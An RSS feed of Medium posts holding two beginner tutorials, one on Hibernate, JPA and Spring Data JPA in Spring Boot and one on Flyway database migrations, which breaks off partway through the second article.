<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Wandana Maddumage on Medium]]></title>
        <description><![CDATA[Stories by Wandana Maddumage on Medium]]></description>
        <link>https://medium.com/@mwandanam?source=rss-738f8c2c9b73------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*80ycWjtRlzbmw6Sge-vCSQ.jpeg</url>
            <title>Stories by Wandana Maddumage on Medium</title>
            <link>https://medium.com/@mwandanam?source=rss-738f8c2c9b73------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 20:05:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mwandanam/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hibernate From Scratch: Understanding JPA, Entities, Repositories & Spring Boot]]></title>
            <link>https://medium.com/@mwandanam/hibernate-from-scratch-understanding-jpa-entities-repositories-spring-boot-4a8680b2e99c?source=rss-738f8c2c9b73------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a8680b2e99c</guid>
            <category><![CDATA[hibernate]]></category>
            <category><![CDATA[spring-data-jpa]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[jpa]]></category>
            <category><![CDATA[spring-boot]]></category>
            <dc:creator><![CDATA[Wandana Maddumage]]></dc:creator>
            <pubDate>Wed, 18 Nov 2026 03:17:11 GMT</pubDate>
            <atom:updated>2026-11-18T03:18:15.944Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*kk8pfdPO-CSlxU5ZFiwwvQ.png" /></figure><ul><li>A beginner-friendly guide to understanding how Java applications communicate with databases using Hibernate and Spring Data JPA.</li></ul><h3>Introduction</h3><p>When building a backend application, one of the most important responsibilities is managing data. Applications need to store information, retrieve records, update existing data, and delete records when necessary.</p><p>Traditionally, developers used SQL queries and JDBC (Java Database Connectivity) to communicate directly with relational databases.</p><p>Although JDBC provides powerful database access, writing SQL queries and manually mapping database records to Java objects can become repetitive, especially in large applications.</p><p>This is where <strong>JPA, Hibernate, and Spring Data JPA</strong> come into play.</p><p>These technologies simplify database operations by allowing developers to work with Java objects instead of writing SQL queries for every database operation.</p><p>In this article, we’ll explore these concepts from scratch and understand how they work together in a Spring Boot application.</p><h3>1. Understanding the Fundamentals</h3><p>Before writing code, let’s understand three important concepts.</p><h3>What is ORM?</h3><p>ORM stands for <strong>Object-Relational Mapping</strong>.</p><p>It is a technique that maps Java objects to relational database tables.</p><p>For example, imagine an application that manages users.</p><p>In Java, we might represent a user using a class:</p><pre>public class User {<br>    private Long id;<br>    private String name;<br>    private String email;<br>}</pre><p>In a relational database, the same information might be stored in a table:</p><p><strong>users</strong></p><p>idnameemail1John<a href="/service/mailto:john@example.com">john@example.com</a>2Sarah<a href="/service/mailto:sarah@example.com">sarah@example.com</a></p><p>ORM allows us to connect these two representations.</p><p>Instead of manually converting database rows into Java objects, an ORM framework handles much of that work.</p><h3>What is JPA?</h3><p>JPA stands for <strong>Java Persistence API</strong>, now officially known as Jakarta Persistence.</p><p>JPA is a specification that defines how Java applications should manage relational data.</p><p>It provides standard annotations and interfaces for:</p><ul><li>Mapping Java classes to database tables.</li><li>Mapping object properties to database columns.</li><li>Managing entity relationships.</li><li>Persisting and retrieving data.</li><li>Managing entity lifecycle operations.</li></ul><p>An important thing to understand is that <strong>JPA is not an implementation</strong>. It defines the rules and standards that persistence providers must follow.</p><h3>What is Hibernate?</h3><p>Hibernate is an ORM framework and one of the most widely used implementations of the JPA specification.</p><p>It provides the actual functionality behind many JPA operations.</p><p>For example, when we use:</p><pre>userRepository.save(user);</pre><p>Hibernate can generate the appropriate SQL statement and execute it against the database.</p><p>Hibernate handles tasks such as:</p><ul><li>Generating SQL queries.</li><li>Mapping database records to Java objects.</li><li>Managing entity states.</li><li>Tracking changes to entities.</li><li>Handling database relationships.</li><li>Managing persistence contexts.</li></ul><p>In simple terms:</p><ul><li><strong>JPA</strong> defines the standard.</li><li><strong>Hibernate</strong> implements the standard.</li><li><strong>Spring Data JPA</strong> simplifies database access through repository abstractions.</li></ul><h3>2. How Spring Boot, JPA, Hibernate, and Spring Data JPA Work Together</h3><p>These technologies are often used together in Spring Boot applications.</p><p>Let’s understand their relationship.</p><pre>Spring Boot Application<br>                 |<br>                 v<br>          Spring Data JPA<br>                 |<br>                 v<br>              JPA API<br>                 |<br>                 v<br>             Hibernate<br>                 |<br>                 v<br>           JDBC Driver<br>                 |<br>                 v<br>          Relational Database<br>          (PostgreSQL / MySQL)</pre><p>Each layer has a specific responsibility.</p><p><strong>Spring Boot</strong></p><p>Provides application configuration and integrates the persistence technologies.</p><p><strong>Spring Data JPA</strong></p><p>Provides repository interfaces and reduces the amount of database-access code developers need to write.</p><p><strong>JPA</strong></p><p>Defines the persistence standards and annotations.</p><p><strong>Hibernate</strong></p><p>Implements JPA and performs the actual ORM operations.</p><p><strong>JDBC Driver</strong></p><p>Allows Java applications to communicate with the database.</p><p><strong>Database</strong></p><p>Stores the actual application data.</p><p>Understanding this architecture makes it easier to identify which technology is responsible for each operation.</p><h3>3. Setting Up a Spring Boot Project</h3><p>Let’s create a simple Spring Boot application that uses Hibernate and PostgreSQL.</p><p>When creating a project using Spring Initializr, include these dependencies:</p><ul><li>Spring Web</li><li>Spring Data JPA</li><li>PostgreSQL Driver</li><li>Validation</li></ul><p>Spring Boot automatically configures Hibernate as the default JPA provider when the JPA starter is included, unless another provider is configured.</p><p>A simplified project structure might look like this:</p><pre>src/main/java/com/example/demo/<br>│<br>├── controller/<br>│   └── UserController.java<br>│<br>├── service/<br>│   └── UserService.java<br>│<br>├── repository/<br>│   └── UserRepository.java<br>│<br>├── entity/<br>│   └── User.java<br>│<br>└── DemoApplication.java</pre><p>Each package has a specific responsibility:</p><ul><li>entity: Defines database-mapped Java objects.</li><li>repository: Handles database access.</li><li>service: Contains business logic.</li><li>controller: Handles HTTP requests and responses.</li></ul><p>This separation makes applications easier to maintain and extend.</p><h3>4. Understanding Entities in JPA</h3><p>An entity is a Java class that represents a database table.</p><p>Hibernate uses entity metadata to understand how Java objects should be mapped to database records.</p><p>Let’s create a User entity.</p><pre>package com.example.demo.entity;</pre><pre>import jakarta.persistence.*;<br>import java.time.LocalDateTime;</pre><pre>@Entity<br>@Table(name = &quot;users&quot;)<br>public class User {</pre><pre>    @Id<br>    @GeneratedValue(strategy = GenerationType.IDENTITY)<br>    private Long id;</pre><pre>    @Column(nullable = false, length = 100)<br>    private String name;</pre><pre>    @Column(nullable = false, unique = true)<br>    private String email;</pre><pre>    @Column(name = &quot;created_at&quot;)<br>    private LocalDateTime createdAt;</pre><pre>    public User() {<br>    }</pre><pre>    // Getters and setters<br>}</pre><p>Let’s understand the important annotations.</p><h3>@Entity</h3><p>Marks a Java class as a JPA entity.</p><p>Hibernate recognizes this class as something that should be persisted in the database.</p><h3>@Table</h3><p>Specifies the database table associated with the entity.</p><pre>@Table(name = &quot;users&quot;)</pre><p>Without this annotation, JPA derives the table name from the entity name.</p><h3>@Id</h3><p>Defines the primary key of the entity.</p><p>Every entity must have an identifier.</p><h3>@GeneratedValue</h3><p>Specifies how the primary key should be generated.</p><p>For example:</p><pre>@GeneratedValue(strategy = GenerationType.IDENTITY)</pre><p>Common generation strategies include:</p><ul><li>IDENTITY: Relies on database-generated identity values.</li><li>SEQUENCE: Uses a database sequence.</li><li>TABLE: Uses a separate database table to generate identifiers.</li><li>AUTO: Allows the persistence provider to choose an appropriate strategy.</li></ul><p>The best choice depends on the database and application requirements.</p><h3>@Column</h3><p>Customizes how a Java field maps to a database column.</p><p>For example:</p><pre>@Column(nullable = false, unique = true)<br>private String email;</pre><p>This indicates that the column should not accept null values and should contain unique values.</p><p><strong>Important:</strong> JPA annotations describe mapping and schema-generation metadata. They do not replace proper database constraints and migrations in production applications.</p><h3>5. Understanding Entity Relationships</h3><p>Real-world applications rarely contain independent tables.</p><p>For example, an e-commerce application might have:</p><ul><li>Users</li><li>Orders</li><li>Products</li><li>Payments</li></ul><p>These tables need relationships to represent how data is connected.</p><p>JPA provides four primary relationship annotations.</p><h3>@OneToOne</h3><p>Represents a relationship where one record is associated with one other record.</p><p>Example: One user has one profile.</p><pre>@OneToOne<br>@JoinColumn(name = &quot;profile_id&quot;)<br>private Profile profile;</pre><h3>@OneToMany</h3><p>Represents a relationship where one record can be associated with multiple records.</p><p>Example: One user can have multiple orders.</p><pre>@OneToMany(mappedBy = &quot;user&quot;)<br>private List&lt;Order&gt; orders;</pre><h3>@ManyToOne</h3><p>Represents multiple records associated with one record.</p><p>Example: Multiple orders can belong to one user.</p><pre>@ManyToOne(fetch = FetchType.LAZY)<br>@JoinColumn(name = &quot;user_id&quot;)<br>private User user;</pre><h3>@ManyToMany</h3><p>Represents a relationship where multiple records can be associated with multiple other records.</p><p>Example: Students can enroll in multiple courses, and each course can have multiple students.</p><pre>@ManyToMany<br>@JoinTable(<br>    name = &quot;student_courses&quot;,<br>    joinColumns = @JoinColumn(name = &quot;student_id&quot;),<br>    inverseJoinColumns = @JoinColumn(name = &quot;course_id&quot;)<br>)<br>private Set&lt;Course&gt; courses;</pre><p>Understanding relationships is essential when designing a relational database using JPA.</p><h3>6. What Are Repositories in Spring Data JPA?</h3><p>After defining entities, we need a way to perform database operations.</p><p>This is where Spring Data JPA repositories become useful.</p><p>A repository is an abstraction that provides methods for interacting with the database.</p><p>Instead of manually writing SQL queries for basic operations, we can extend an existing Spring Data interface.</p><p>Let’s create a UserRepository.</p><pre>package com.example.demo.repository;</pre><pre>import com.example.demo.entity.User;<br>import org.springframework.data.jpa.repository.JpaRepository;</pre><pre>public interface UserRepository<br>        extends JpaRepository&lt;User, Long&gt; {</pre><pre>}</pre><p>That’s it!</p><p>We haven’t written any implementation code.</p><p>Spring Data JPA automatically provides the implementation at runtime.</p><p>By extending JpaRepository, we get access to several useful methods.</p><p>MethodPurposesave()Insert or update an entityfindById()Find an entity by its IDfindAll()Retrieve all entitiesexistsById()Check whether an entity existsdeleteById()Delete an entity by IDcount()Count available records</p><p>For example:</p><pre>userRepository.findAll();</pre><p>Retrieves all users.</p><pre>userRepository.findById(1L);</pre><p>Retrieves a user with ID 1.</p><pre>userRepository.deleteById(1L);</pre><p>Deletes the user with ID 1.</p><p>Spring Data JPA generates the required database-access implementation behind these methods.</p><h3>Custom Query Methods</h3><p>One of the most useful features of Spring Data JPA is query method derivation.</p><p>We can define methods based on the properties of an entity.</p><p>For example:</p><pre>public interface UserRepository<br>        extends JpaRepository&lt;User, Long&gt; {</pre><pre>    Optional&lt;User&gt; findByEmail(String email);</pre><pre>    List&lt;User&gt; findByName(String name);</pre><pre>    boolean existsByEmail(String email);<br>}</pre><p>Spring Data JPA analyzes these method names and generates the corresponding queries.</p><p>We can also write custom JPQL queries using @Query.</p><pre>@Query(&quot;SELECT u FROM User u WHERE u.email = :email&quot;)<br>Optional&lt;User&gt; findUserByEmail(<br>    @Param(&quot;email&quot;) String email<br>);</pre><p>JPQL operates on entity classes and their properties rather than directly referencing database table and column names.</p><h3>7. Understanding the Service Layer</h3><p>In a properly structured Spring Boot application, controllers should not directly contain database operations.</p><p>Instead, we introduce a service layer to manage business logic.</p><p>Let’s create a UserService.</p><pre>package com.example.demo.service;</pre><pre>import com.example.demo.entity.User;<br>import com.example.demo.repository.UserRepository;<br>import org.springframework.stereotype.Service;</pre><pre>import java.util.List;</pre><pre>@Service<br>public class UserService {</pre><pre>    private final UserRepository userRepository;</pre><pre>    public UserService(UserRepository userRepository) {<br>        this.userRepository = userRepository;<br>    }</pre><pre>    public User createUser(User user) {<br>        return userRepository.save(user);<br>    }</pre><pre>    public List&lt;User&gt; getAllUsers() {<br>        return userRepository.findAll();<br>    }<br>}</pre><h3>Why use a service layer?</h3><p>The service layer provides a place to implement:</p><ul><li>Business rules.</li><li>Validation beyond basic input constraints.</li><li>Transaction management.</li><li>Coordination between multiple repositories.</li><li>Application-specific logic.</li></ul><p>For example, before creating a user, we might check whether the email address is already registered.</p><p>This keeps the controller focused on handling HTTP requests rather than implementing business rules.</p><h3>8. Connecting the Application to PostgreSQL</h3><p>Now we need to configure the database connection.</p><p>In Spring Boot, database configuration is commonly defined in:</p><p>application.yml</p><pre>spring:<br>  datasource:<br>    url: jdbc:postgresql://localhost:5432/demo_db<br>    username: postgres<br>    password: your_password<br>    driver-class-name: org.postgresql.Driver</pre><pre>  jpa:<br>    hibernate:<br>      ddl-auto: validate<br>    show-sql: true<br>    properties:<br>      hibernate:<br>        format_sql: true</pre><p>Let’s understand the configuration.</p><p><strong>datasource.url</strong></p><p>Specifies the database connection URL.</p><p><strong>username and password</strong></p><p>Provide database authentication credentials.</p><p><strong>ddl-auto</strong></p><p>Controls Hibernate’s automatic database schema handling.</p><p>Common options include:</p><p>ValueDescriptioncreateCreates the schema and may drop existing tablescreate-dropCreates the schema and drops it when the session factory closesupdateAttempts to update the schemavalidateChecks whether the schema matches the entity mappingsnoneDisables automatic schema management</p><p>For production applications, using validate or none alongside a database migration tool such as Flyway or Liquibase is generally a safer approach.</p><p>Avoid relying on ddl-auto=update as your production database migration strategy.</p><h3>9. Understanding the Entity Lifecycle</h3><p>One of the most important Hibernate concepts is the entity lifecycle.</p><p>Hibernate manages entities through different states.</p><p>There are four commonly discussed states:</p><h3>1. Transient</h3><p>An object is transient when it has been created but is not associated with a persistence context.</p><pre>User user = new User();<br>user.setName(&quot;John&quot;);<br>user.setEmail(&quot;john@example.com&quot;);</pre><p>At this point, the object exists only in application memory.</p><h3>2. Managed (Persistent)</h3><p>An entity becomes managed when it is associated with an active persistence context.</p><p>For example:</p><pre>entityManager.persist(user);</pre><p>Hibernate starts tracking the entity.</p><p>Changes made to a managed entity can automatically be synchronized with the database.</p><h3>3. Detached</h3><p>An entity becomes detached when it is no longer associated with its persistence context.</p><p>For example, after the persistence context is closed, previously managed entities become detached.</p><p>Changes to detached objects are not automatically synchronized with the database.</p><h3>4. Removed</h3><p>An entity enters the removed state when it is scheduled for deletion.</p><pre>entityManager.remove(user);</pre><p>The actual database deletion happens when the persistence context is flushed.</p><p>Understanding these states helps explain why Hibernate sometimes executes SQL statements even when we haven’t explicitly called a save method.</p><h3>10. What Is a Persistence Context?</h3><p>A persistence context is an important part of JPA and Hibernate.</p><p>Think of it as an environment that manages entity instances during their lifecycle.</p><p>It maintains a collection of managed entities and tracks changes made to them.</p><p>For example:</p><pre>@Transactional<br>public void updateUser(Long id) {</pre><pre>    User user = userRepository.findById(id)<br>        .orElseThrow();</pre><pre>    user.setName(&quot;Updated Name&quot;);<br>}</pre><p>Notice something interesting.</p><p>We didn’t call:</p><pre>userRepository.save(user);</pre><p>Yet the updated name can still be persisted.</p><p>Why?</p><p>Because the entity is managed by the persistence context.</p><p>Hibernate detects the changes and synchronizes them with the database during transaction flushing. This mechanism is called <strong>dirty checking</strong>.</p><p>This is one of Hibernate’s most powerful features.</p><h3>11. Understanding Transactions in Spring Boot</h3><p>A database transaction is a group of operations treated as one logical unit.</p><p>Transactions help maintain data consistency.</p><p>Spring provides the @Transactional annotation to manage transactions.</p><p>Example:</p><pre>@Transactional<br>public void transferMoney(<br>        Long fromAccountId,<br>        Long toAccountId,<br>        BigDecimal amount) {</pre><pre>    Account from = accountRepository<br>        .findById(fromAccountId)<br>        .orElseThrow();</pre><pre>    Account to = accountRepository<br>        .findById(toAccountId)<br>        .orElseThrow();</pre><pre>    from.setBalance(from.getBalance().subtract(amount));</pre><pre>    to.setBalance(to.getBalance().add(amount));<br>}</pre><p>Both updates should succeed together.</p><p>If an applicable unchecked exception occurs, Spring normally rolls back the transaction.</p><p>This prevents a situation where money is deducted from one account but not added to the other.</p><p>Transactions are particularly important when multiple database operations depend on each other.</p><h3>12. Understanding Lazy and Eager Loading</h3><p>When working with entity relationships, Hibernate needs to determine when related data should be retrieved.</p><p>JPA provides two common fetching strategies.</p><p><strong>Lazy Loading</strong></p><p>Related data is retrieved only when it is accessed.</p><pre>@OneToMany(<br>    mappedBy = &quot;user&quot;,<br>    fetch = FetchType.LAZY<br>)<br>private List&lt;Order&gt; orders;</pre><p><strong>Eager Loading</strong></p><p>Related data is retrieved eagerly as part of loading the entity, although the exact SQL strategy is provider-dependent.</p><pre>@ManyToOne(fetch = FetchType.EAGER)<br>private User user;</pre><p>Lazy loading is generally a good default for collections because it avoids unnecessarily loading large amounts of data.</p><p>However, it can introduce the N+1 query problem.</p><p>For example, retrieving 100 orders and then accessing each order’s user might result in one query to retrieve the orders and additional queries to retrieve users.</p><p>Possible solutions include:</p><ul><li>JPQL JOIN FETCH.</li><li>Entity graphs.</li><li>DTO projections.</li><li>Batch fetching.</li></ul><p>Understanding fetching strategies is important for building efficient applications.</p><h3>13. Putting Everything Together: A Simple REST API</h3><p>Now let’s connect everything.</p><p>We’ll create a REST controller that exposes user-related endpoints.</p><pre>package com.example.demo.controller;</pre><pre>import com.example.demo.entity.User;<br>import com.example.demo.service.UserService;<br>import org.springframework.web.bind.annotation.*;</pre><pre>import java.util.List;</pre><pre>@RestController<br>@RequestMapping(&quot;/api/users&quot;)<br>public class UserController {</pre><pre>    private final UserService userService;</pre><pre>    public UserController(UserService userService) {<br>        this.userService = userService;<br>    }</pre><pre>    @PostMapping<br>    public User createUser(@RequestBody User user) {<br>        return userService.createUser(user);<br>    }</pre><pre>    @GetMapping<br>    public List&lt;User&gt; getAllUsers() {<br>        return userService.getAllUsers();<br>    }<br>}</pre><p>We now have two basic endpoints.</p><p>HTTP MethodEndpointDescriptionPOST/api/usersCreate a userGET/api/usersRetrieve all users</p><p>The complete request flow looks like this:</p><pre>Client Request<br>             |<br>             v<br>       UserController<br>             |<br>             v<br>        UserService<br>             |<br>             v<br>       UserRepository<br>             |<br>             v<br>          Hibernate<br>             |<br>             v<br>         PostgreSQL</pre><p>When a client sends a request to create a user:</p><ol><li>The controller receives the HTTP request.</li><li>The service handles the application logic.</li><li>The repository executes the persistence operation.</li><li>Hibernate translates the operation into SQL.</li><li>The JDBC driver communicates with PostgreSQL.</li><li>The database stores the record.</li><li>The result is returned through the application layers.</li></ol><p>This is the basic architecture behind many Spring Boot applications.</p><p><em>Note: This example demonstrates the persistence flow. A production API should use request/response DTOs, validation, exception handling, and appropriate transaction boundaries rather than exposing JPA entities directly.</em></p><h3>14. Common Mistakes Beginners Should Avoid</h3><p>When starting with Hibernate and Spring Data JPA, there are several common mistakes worth understanding.</p><p><strong>1. Confusing JPA with Hibernate</strong></p><p>JPA is a specification, while Hibernate is an implementation. They are related but not interchangeable concepts.</p><p><strong>2. Using entities directly in REST APIs</strong></p><p>Returning entities directly can expose internal database structures and create serialization problems, particularly with bidirectional relationships.</p><p>Use DTOs instead.</p><p><strong>3. Ignoring entity relationships</strong></p><p>Incorrect relationship mappings can cause duplicate records, unexpected SQL queries, or data consistency problems.</p><p><strong>4. Using EAGER fetching everywhere</strong></p><p>Eager loading can retrieve unnecessary data and negatively affect application performance.</p><p><strong>5. Ignoring transactions</strong></p><p>Operations involving multiple database changes should have appropriate transaction boundaries.</p><p><strong>6. Depending on Hibernate to manage production schemas</strong></p><p>Use database migration tools such as Flyway or Liquibase to manage schema changes in a controlled and versioned manner.</p><h3>Conclusion</h3><p>Understanding Hibernate, JPA, and Spring Data JPA is an important step toward becoming a capable Spring Boot backend developer.</p><p>The key concepts to remember are:</p><ul><li>ORM connects Java objects with relational database tables.</li><li>JPA defines the persistence specification.</li><li>Hibernate implements the JPA specification.</li><li>Spring Data JPA simplifies database access through repositories.</li><li>Entities represent database records.</li><li>Repositories provide database operations.</li><li>Services manage business logic.</li><li>Persistence contexts track managed entities.</li><li>Transactions help maintain data consistency.</li><li>Fetching strategies influence database performance.</li></ul><p>Rather than memorizing annotations and methods, focus on understanding what happens behind the scenes when an application communicates with a database.</p><p>Once you understand how these components work together, building more complex backend systems becomes much easier.</p><p><strong>The best way to learn Hibernate is to build something with it.</strong> Start with a simple CRUD application, introduce entity relationships, implement transactions, and gradually explore more advanced persistence concepts.</p><p>Happy coding! 🚀</p><p><em>#Java #SpringBoot #Hibernate #JPA #SpringDataJPA #BackendDevelopment #SoftwareEngineering</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a8680b2e99c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What Is Flyway? A Beginner’s Guide to Database Migrations and How to Use It with Spring Boot]]></title>
            <link>https://medium.com/@mwandanam/what-is-flyway-a-beginners-guide-to-database-migrations-and-how-to-use-it-with-spring-boot-1ae3f8ce2dac?source=rss-738f8c2c9b73------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ae3f8ce2dac</guid>
            <category><![CDATA[postgresql]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[springboot-3]]></category>
            <category><![CDATA[flyway]]></category>
            <dc:creator><![CDATA[Wandana Maddumage]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 09:58:17 GMT</pubDate>
            <atom:updated>2026-11-16T09:59:52.939Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vf6OqoQhg1oSI7edt1QxIA.jpeg" /></figure><p>When developing an application, the database structure rarely stays the same.</p><p>At the beginning of a project, you might have only a users table. A few weeks later, you may need to add an email column, create a products table, introduce new relationships, or modify existing constraints.</p><p>But here’s a problem:</p><p><strong>How do you make sure every developer and every environment has the same database structure?</strong></p><p>Manually executing SQL queries every time a database changes can quickly become difficult to manage. It becomes even more complicated when working with a team or deploying an application across development, testing, and production environments.</p><p>This is where <strong>Flyway</strong> comes in.</p><p>In this article, we’ll explore what Flyway is, why developers use it, how database migrations work, and how to integrate Flyway into a Spring Boot application.</p><h3>1. What Is Flyway?</h3><p><a href="https://www.red-gate.com/products/flyway/">Flyway</a> is an open-source database migration and version control tool that helps developers manage changes to database schemas over time.</p><p>In simple terms, Flyway allows you to manage database changes using SQL scripts called <strong>migrations</strong>.</p><p>Instead of manually executing SQL queries whenever your database structure changes, you create migration files, and Flyway automatically detects and executes them in the correct order.</p><p>For example, imagine you’re developing an e-commerce application.</p><p>Initially, your database contains:</p><ul><li>Users</li><li>Products</li><li>Categories</li></ul><p>Later, your application needs:</p><ul><li>Orders</li><li>Payments</li><li>Delivery information</li></ul><p>With Flyway, you can create separate migration files for each database change. Flyway tracks which migrations have already been executed and applies only the pending ones.</p><p>This makes database changes more organized, predictable, and consistent.</p><h3>2. Why Do We Need Flyway?</h3><p>Let’s understand the problem without a database migration tool.</p><p>Imagine three developers working on the same project.</p><ul><li>Developer A creates a new products table.</li><li>Developer B adds a price column to the products table.</li><li>Developer C modifies the table to include product descriptions.</li></ul><p>If everyone manually updates their local database, there is a possibility that their database structures will become different.</p><p>The same problem can happen when deploying an application to staging or production.</p><p>Without proper database version control, developers may face:</p><ul><li>Missing database columns or tables.</li><li>Inconsistent database structures across environments.</li><li>Forgotten SQL changes during deployment.</li><li>Difficulty identifying when and why a database changed.</li><li>Errors caused by unexpected schema differences.</li></ul><p>Flyway solves these problems by keeping database changes in version-controlled migration scripts.</p><h3>Key benefits of Flyway</h3><p><strong>1. Database version control</strong></p><p>Every database change is stored in a migration file and can be tracked through Git.</p><p><strong>2. Automatic migrations</strong></p><p>Flyway automatically identifies pending migrations and executes them in version order.</p><p><strong>3. Consistency across environments</strong></p><p>The same migration scripts can be executed in development, testing, staging, and production.</p><p><strong>4. Migration history</strong></p><p>Flyway maintains a special table called flyway_schema_history to track executed migrations.</p><p><strong>5. Team collaboration</strong></p><p>Developers can share migration files through a Git repository instead of manually sharing SQL queries.</p><h3>3. Understanding How Flyway Works</h3><p>Before implementing Flyway, let’s understand its basic workflow.</p><p>Flyway follows a simple process:</p><ol><li>Developers create SQL migration files.</li><li>Flyway scans the configured migration directory.</li><li>It checks the database migration history.</li><li>It identifies migrations that haven’t been executed.</li><li>It executes pending migrations in the correct order.</li><li>It records successful executions in the migration history table.</li></ol><p>For example, imagine you have three migration files:</p><pre>V1__create_users_table.sql<br>V2__create_products_table.sql<br>V3__add_product_price.sql</pre><p>When Flyway runs for the first time, it executes all three migrations in order.</p><p>When you later introduce another migration:</p><pre>V4__create_orders_table.sql</pre><p>Flyway executes only V4 because the previous migrations have already been applied.</p><p>You don’t need to manually track which SQL scripts have been executed.</p><p>That’s one of the most useful features of Flyway.</p><h3>4. Understanding Flyway Migration Naming Conventions</h3><p>Flyway uses a specific naming convention to identify migration files.</p><p>The standard format for a versioned SQL migration is:</p><pre>V{version}__{description}.sql</pre><p>Let’s break it down:</p><ul><li>V – Indicates a versioned migration.</li><li>version – A unique version number.</li><li>__ – Two underscores separating the version and description.</li><li>description – A short explanation of the database change.</li><li>.sql – The SQL file extension.</li></ul><p>For example:</p><pre>V1__create_users_table.sql<br>V2__create_products_table.sql<br>V3__add_product_price.sql<br>V4__create_orders_table.sql</pre><p><strong>Important:</strong> Each version number must be unique. Flyway executes versioned migrations in numerical order, and each is applied only once.</p><p>You should also avoid modifying an existing migration after it has been applied to a shared or permanent environment. Create a new migration instead.</p><h3>5. How to Use Flyway with Spring Boot</h3><p>Now let’s implement Flyway in a Spring Boot application.</p><p>For this example, we’ll use:</p><ul><li>Java</li><li>Spring Boot</li><li>Maven</li><li>PostgreSQL</li><li>Flyway</li></ul><p>You can also use MySQL or other supported relational databases with the appropriate database-specific configuration.</p><h3>Step 1: Add Flyway Dependencies</h3><p>Open your Spring Boot project’s pom.xml file.</p><p>Add the Flyway dependencies:</p><pre>&lt;dependency&gt;<br>    &lt;groupId&gt;org.flywaydb&lt;/groupId&gt;<br>    &lt;artifactId&gt;flyway-core&lt;/artifactId&gt;<br>&lt;/dependency&gt;</pre><pre>&lt;dependency&gt;<br>    &lt;groupId&gt;org.flywaydb&lt;/groupId&gt;<br>    &lt;artifactId&gt;flyway-database-postgresql&lt;/artifactId&gt;<br>&lt;/dependency&gt;</pre><p>You’ll also need the PostgreSQL JDBC driver if it isn’t already included:</p><pre>&lt;dependency&gt;<br>    &lt;groupId&gt;org.postgresql&lt;/groupId&gt;<br>    &lt;artifactId&gt;postgresql&lt;/artifactId&gt;<br>    &lt;scope&gt;runtime&lt;/scope&gt;<br>&lt;/dependency&gt;</pre><p>Spring Boot’s dependency management can manage compatible dependency versions for you.</p><h3>Step 2: Configure Your Database</h3><p>Open your application.yml file.</p><p>Configure your database connection and Flyway:</p><pre>spring:<br>  datasource:<br>    url: jdbc:postgresql://localhost:5432/my_database<br>    username: postgres<br>    password: your_password</pre><pre>  flyway:<br>    enabled: true<br>    locations: classpath:db/migration</pre><p>Here:</p><ul><li>datasource.url defines the database connection.</li><li>username and password provide database credentials.</li><li>flyway.enabled enables Flyway.</li><li>flyway.locations tells Flyway where to find migration files.</li></ul><p>Make sure your database exists and the credentials are correct.</p><p>For production applications, use environment variables or a secrets manager instead of hardcoding credentials.</p><h3>Step 3: Create the Migration Directory</h3><p>Inside your Spring Boot project, create the following directory:</p><pre>src/<br> └── main/<br>      └── resources/<br>           └── db/<br>                └── migration/</pre><p>This is Flyway’s default migration location when using Spring Boot.</p><p>Now create your first migration file:</p><pre>V1__create_users_table.sql</pre><p>Your project structure should look like this:</p><pre>src/<br> └── main/<br>      └── resources/<br>           └── db/<br>                └── migration/<br>                     ├── V1__create_users_table.sql<br>                     ├── V2__create_products_table.sql<br>                     └── V3__create_orders_table.sql</pre><h3>Step 4: Write Your First Migration</h3><p>Open V1__create_users_table.sql.</p><p>Add the following SQL:</p><pre>CREATE TABLE users (<br>    id BIGSERIAL PRIMARY KEY,<br>    name VARCHAR(100) NOT NULL,<br>    email VARCHAR(150) NOT NULL UNIQUE,<br>    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP<br>);</pre><p>This migration creates a users table with:</p><ul><li>An automatically generated ID.</li><li>A name column.</li><li>A unique email address.</li><li>A creation timestamp.</li></ul><p>Save the file.</p><h3>Step 5: Create Another Migration</h3><p>Now let’s create a products table.</p><p>Create:</p><pre>V2__create_products_table.sql</pre><p>Add:</p><pre>CREATE TABLE products (<br>    id BIGSERIAL PRIMARY KEY,<br>    name VARCHAR(150) NOT NULL,<br>    description TEXT,<br>    price DECIMAL(10, 2) NOT NULL,<br>    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP<br>);</pre><p>This migration creates a products table.</p><p>Notice that we didn’t modify the previous migration file. We created a completely new migration.</p><p>This is an important practice when working with Flyway.</p><h3>Step 6: Run Your Spring Boot Application</h3><p>Now start your Spring Boot application.</p><p>Using Maven:</p><pre>./mvnw spring-boot:run</pre><p>When Spring Boot starts, Flyway automatically:</p><ol><li>Connects to the configured database.</li><li>Checks for the migration history table.</li><li>Creates flyway_schema_history if necessary.</li><li>Detects available migration scripts.</li><li>Executes pending migrations.</li><li>Records their execution details.</li></ol><p>If everything works correctly, your database should now contain:</p><pre>users<br>products<br>flyway_schema_history</pre><p>You don’t need to manually execute the SQL scripts.</p><p>Flyway handles the migration process for you.</p><h3>6. What Is the flyway_schema_history Table?</h3><p>One important concept you should understand is the flyway_schema_history table.</p><p>This is a special table automatically created and maintained by Flyway.</p><p>It stores information about migrations that have been executed.</p><p>For example:</p><p>installed_rankversiondescriptionsuccess11create users tabletrue22create products tabletrue</p><p>It also stores additional information, including migration types, 